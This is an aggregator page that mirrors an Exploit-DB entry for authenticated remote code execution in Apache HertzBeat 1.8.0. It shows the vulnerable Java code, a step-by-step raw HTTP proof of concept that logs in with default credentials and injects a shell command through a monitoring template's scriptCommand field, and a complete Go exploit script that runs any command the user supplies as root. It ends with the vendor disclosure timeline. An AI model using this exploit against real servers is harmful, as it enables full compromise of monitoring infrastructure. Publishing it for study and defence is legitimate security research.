惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

博客园 - 聂微东
S
Schneier on Security
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
Latest news
Latest news
Cyberwarzone
Cyberwarzone
Cisco Talos Blog
Cisco Talos Blog
T
The Exploit Database - CXSecurity.com
T
Tenable Blog
I
Intezer
T
Threat Research - Cisco Blogs
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
C
Cybersecurity and Infrastructure Security Agency CISA
P
Privacy International News Feed
P
Palo Alto Networks Blog
The Register - Security
The Register - Security
IT之家
IT之家
Google DeepMind News
Google DeepMind News
C
Cyber Attacks, Cyber Crime and Cyber Security
L
LINUX DO - 最新话题
S
Securelist
WordPress大学
WordPress大学
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
Hugging Face - Blog
Hugging Face - Blog
N
News and Events Feed by Topic
H
Help Net Security
Project Zero
Project Zero
K
Kaspersky official blog
博客园 - 三生石上(FineUI控件)
L
LINUX DO - 热门话题
大猫的无限游戏
大猫的无限游戏
G
GRAHAM CLULEY
F
Full Disclosure
博客园 - 叶小钗
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
TaoSecurity Blog
TaoSecurity Blog
N
News | PayPal Newsroom
Forbes - Security
Forbes - Security
博客园 - 司徒正美
I
InfoQ
Recent Announcements
Recent Announcements
Attack and Defense Labs
Attack and Defense Labs
P
Privacy & Cybersecurity Law Blog
S
Security @ Cisco Blogs
人人都是产品经理
人人都是产品经理
The GitHub Blog
The GitHub Blog
Simon Willison's Weblog
Simon Willison's Weblog
G
Google Developers Blog
N
Netflix TechBlog - Medium
U
Unit 42
阮一峰的网络日志
阮一峰的网络日志

Exploit-DB.com RSS Feed

MEmu Android Emulator 9.2.7.0 - Local Privilege Escalation OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive
OffSec’s Exploit Database Archive
Brett Gervasoni · 2026-05-14 · via Exploit-DB.com RSS Feed

Apache HertzBeat 1.8.0 - Remote Code Execution

# Exploit Title: Apache HertzBeat 1.8.0 - Remote Code Execution 
# Google Dork: N/A
# Date: 2026-03-09
# Exploit Author: Brett Gervasoni
# Vendor Homepage: https://hertzbeat.apache.org/
# Software Link: https://github.com/apache/hertzbeat/releases
# Version: 1.8.0
# Tested on: Linux (Docker; official HertzBeat image, uid=0 in container)
# CVE: N/A

================================================================================
METADATA
================================================================================

Severity: CRITICAL
Impact: Arbitrary command execution via monitoring template (script protocol)
CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
Product: Apache HertzBeat — https://hertzbeat.apache.org/ (v1.8.0)
Affected Component: ScriptCollectImpl.collect()
Affected Endpoint: PUT /api/apps/define/yml
Authentication: Required (standard user or admin)

Note: Apache Security does not classify this as a vulnerability; see HertzBeat
security model: https://hertzbeat.apache.org/docs/help/security_model/

================================================================================
VULNERABILITY SUMMARY
================================================================================

HertzBeat allows arbitrary OS commands to be executed via the scriptCommand
parameter in a monitoring template definition.

An authenticated user can overwrite a monitoring template definition via
PUT /api/apps/define/yml. The "define" body contains YAML parsed into a Job.
When the YAML specifies protocol: script, the attacker-controlled scriptCommand
string is passed to ProcessBuilder (bash -c "<command>") without sanitization.

If the overwritten template has active monitoring instances, updateAppCollectJob()
re-dispatches them, triggering execution within seconds. If none exist, the
attacker can create one via POST /api/monitor to trigger immediate execution.

The default Docker deployment runs the process as root (uid=0).

================================================================================
VULNERABLE CODE (REFERENCE)
================================================================================

Sink — ScriptCollectImpl.java (approx. lines 74–114) — direct execution:

    public void collect(CollectRep.MetricsData.Builder builder, Metrics metrics) {
        ScriptProtocol scriptProtocol = metrics.getScript();
        // ...
        if (StringUtils.hasText(scriptProtocol.getScriptCommand())) {
            switch (scriptProtocol.getScriptTool()) {
                case BASH -> processBuilder = new ProcessBuilder(
                    BASH, BASH_C, scriptProtocol.getScriptCommand().trim());  // payload
                // ...
            }
        }
        // ...
        Process process = processBuilder.start();  // executed
    }

YAML gadget blocking — AppController.java (approx. 55–59) — blocks SnakeYAML
gadget strings, not shell command injection:

    private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!",
            "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext",
            "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine",
            "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory",
            "XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream",
            "InflaterOutputStream", "FileOutputStream"};

================================================================================
PROOF OF CONCEPT — RAW HTTP
================================================================================

Replace TARGET with the HertzBeat host. Default port is 1157. Example uses a
standard user "operator" / "hertzbeat" (user role); admin with default
password also works.

--- Step 1: Authenticate ---

POST /api/account/auth/form HTTP/1.1
Host: TARGET:1157
Content-Type: application/json

{"type":1,"identifier":"operator","credential":"hertzbeat"}

Response: data.token (JWT) — use as Bearer below.

--- Step 2: Overwrite linux_script template ---

PUT /api/apps/define/yml HTTP/1.1
Host: TARGET:1157
Authorization: Bearer <JWT>
Content-Type: application/json

{"define":"app: linux_script\ncategory: os\nname:\n  en-US: Linux Script\n  zh-CN: Linux Script\nparams:\n  - field: host\n    name:\n      en-US: Host\n      zh-CN: Host\n    type: host\n    required: true\nmetrics:\n  - name: basic\n    i18n:\n      en-US: Basic\n      zh-CN: Basic\n    priority: 0\n    fields:\n      - field: result\n        type: 1\n        i18n:\n          en-US: Result\n          zh-CN: Result\n    protocol: script\n    script:\n      scriptTool: bash\n      charset: UTF-8\n      scriptCommand: id > /tmp/pwned\n      parseType: multiRow\n"}

Decoded define (YAML):

app: linux_script
category: os
name:
  en-US: Linux Script
  zh-CN: Linux Script
params:
  - field: host
    name:
      en-US: Host
      zh-CN: Host
    type: host
    required: true
metrics:
  - name: basic
    i18n:
      en-US: Basic
      zh-CN: Basic
    priority: 0
    fields:
      - field: result
        type: 1
        i18n:
          en-US: Result
          zh-CN: Result
    protocol: script
    script:
      scriptTool: bash
      charset: UTF-8
      scriptCommand: id > /tmp/pwned
      parseType: multiRow

Expected response:

HTTP/1.1 200 OK
Content-Type: application/json

{"code":0,"msg":null,"data":null}

--- Step 3: Create monitor (if no linux_script monitors exist) ---

POST /api/monitor HTTP/1.1
Host: TARGET:1157
Authorization: Bearer <JWT>
Content-Type: application/json

{"monitor":{"name":"rce-test","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]}

--- Step 4: Verify (example: Docker) ---

docker exec hertzbeat cat /tmp/pwned

Expected:

uid=0(root) gid=0(root) groups=0(root)

================================================================================
EXPLOIT CODE — script_command_rce.go (Go)
================================================================================

package main

import (
	"bytes"
	"encoding/json"
	"fmt"
	"io"
	"math/rand"
	"net/http"
	"os"
	"strings"
)

const target = "http://localhost:1157"

type authResponse struct {
	Code int `json:"code"`
	Data struct {
		Token string `json:"token"`
	} `json:"data"`
}

type apiResponse struct {
	Code int    `json:"code"`
	Msg  string `json:"msg"`
}

func main() {
	if len(os.Args) < 2 {
		fmt.Fprintf(os.Stderr, "Usage: %s <command>\n", os.Args[0])
		fmt.Fprintf(os.Stderr, "Example: %s \"id > /tmp/pwned\"\n", os.Args[0])
		os.Exit(1)
	}
	cmd := strings.Join(os.Args[1:], " ")

	fmt.Println("============================================================")
	fmt.Println(" HertzBeat ScriptCollectImpl RCE")
	fmt.Println("============================================================")
	fmt.Println()

	fmt.Println("[*] Authenticating...")

	token, err := authenticate()
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Auth failed: %v\n", err)
		os.Exit(1)
	}

	fmt.Printf("[+] Got token: %s...\n\n", token[:40])

	fmt.Println("[*] Overwriting linux_script template...")
	fmt.Printf("    PUT /api/apps/define/yml\n")
	fmt.Printf("    scriptCommand: %s\n", cmd)

	err = putMaliciousDefine(token, cmd)
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Failed to overwrite template: %v\n", err)
		os.Exit(1)
	}

	fmt.Println("[+] Template overwritten.")
	fmt.Println()

	fmt.Println("[*] Creating monitor instance to trigger collection...")
	fmt.Println("    POST /api/monitor with app: linux_script")

	err = createMonitor(token)
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Failed to create monitor: %v\n", err)
		fmt.Println("[*] This may fail if a monitor already exists — checking anyway...")
	} else {
		fmt.Println("[+] Monitor created.")
		fmt.Println()
	}

	fmt.Println("[+] Completed. If it wasn't executed instantly, wait ~30 seconds for the collector.")
	fmt.Printf("[+] Command: %s\n\n", cmd)
	fmt.Println("[*] Verify with (assuming its running in docker locally):")
	fmt.Println("    docker exec hertzbeat <check your payload>")
}

func authenticate() (string, error) {
	body := `{"type":1,"identifier":"operator","credential":"hertzbeat"}`

	resp, err := http.Post(target+"/api/account/auth/form", "application/json", bytes.NewBufferString(body))
	if err != nil {
		return "", err
	}

	defer resp.Body.Close()

	var result authResponse
	if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
		return "", err
	}

	if result.Code != 0 || result.Data.Token == "" {
		return "", fmt.Errorf("unexpected response code %d", result.Code)
	}

	return result.Data.Token, nil
}

func putMaliciousDefine(token, command string) error {
	define := fmt.Sprintf(`app: linux_script
category: os
name:
  en-US: Linux Script
  zh-CN: Linux Script
params:
  - field: host
    name:
      en-US: Host
      zh-CN: Host
    type: host
    required: true
metrics:
  - name: basic
    i18n:
      en-US: Basic
      zh-CN: Basic
    priority: 0
    fields:
      - field: result
        type: 1
        i18n:
          en-US: Result
          zh-CN: Result
    protocol: script
    script:
      scriptTool: bash
      charset: UTF-8
      scriptCommand: "%s && echo result done"
      parseType: multiRow
`, command)

	payload, _ := json.Marshal(map[string]string{"define": define})

	req, _ := http.NewRequest("PUT", target+"/api/apps/define/yml", bytes.NewBuffer(payload))
	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("Authorization", "Bearer "+token)

	resp, err := http.DefaultClient.Do(req)
	if err != nil {
		return err
	}

	defer resp.Body.Close()

	respBody, _ := io.ReadAll(resp.Body)

	var result apiResponse
	if err := json.Unmarshal(respBody, &result); err != nil {
		return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
	}

	if result.Code != 0 {
		return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg)
	}

	return nil
}

func createMonitor(token string) error {
	suffix := randSuffix()
	name := fmt.Sprintf("rce-poc-%s", suffix)
	body := fmt.Sprintf(`{"monitor":{"name":"%s","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]}`, name)

	req, _ := http.NewRequest("POST", target+"/api/monitor", bytes.NewBufferString(body))
	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("Authorization", "Bearer "+token)

	resp, err := http.DefaultClient.Do(req)
	if err != nil {
		return err
	}

	defer resp.Body.Close()

	respBody, _ := io.ReadAll(resp.Body)
	var result apiResponse
	if err := json.Unmarshal(respBody, &result); err != nil {
		return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
	}

	if result.Code != 0 {
		return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg)
	}
	return nil
}

func randSuffix() string {
	const chars = "abcdefghijklmnopqrstuvwxyz0123456789"
	b := make([]byte, 8)

	for i := range b {
		b[i] = chars[rand.Intn(len(chars))]
	}

	return string(b)
}

================================================================================
NOTES
================================================================================

- A standard user (e.g. operator:hertzbeat, user role) is sufficient; admin is
  not required for the described flow.
- A new custom app name (e.g. app: rce_custom) can be registered with POST
  instead of PUT to avoid overwriting an existing definition; then create a
  monitor for that app.

================================================================================
DISCLOSURE / VENDOR RESPONSE (SUMMARY)
================================================================================

Apache Security indicated this aligns with the documented security model: only
trusted operators should receive accounts; customization is intentional.
Role-based permission controls are still evolving; see vendor documentation.

Reporting timeline:
- 2026-02-19: Reported to Apache Security
- 2026-02-19 to 2026-03-04: Discussion on post-authentication issues
- 2026-03-04: Apache position communicated (risk accepted per security model)
- 2026-03-09: Public advisory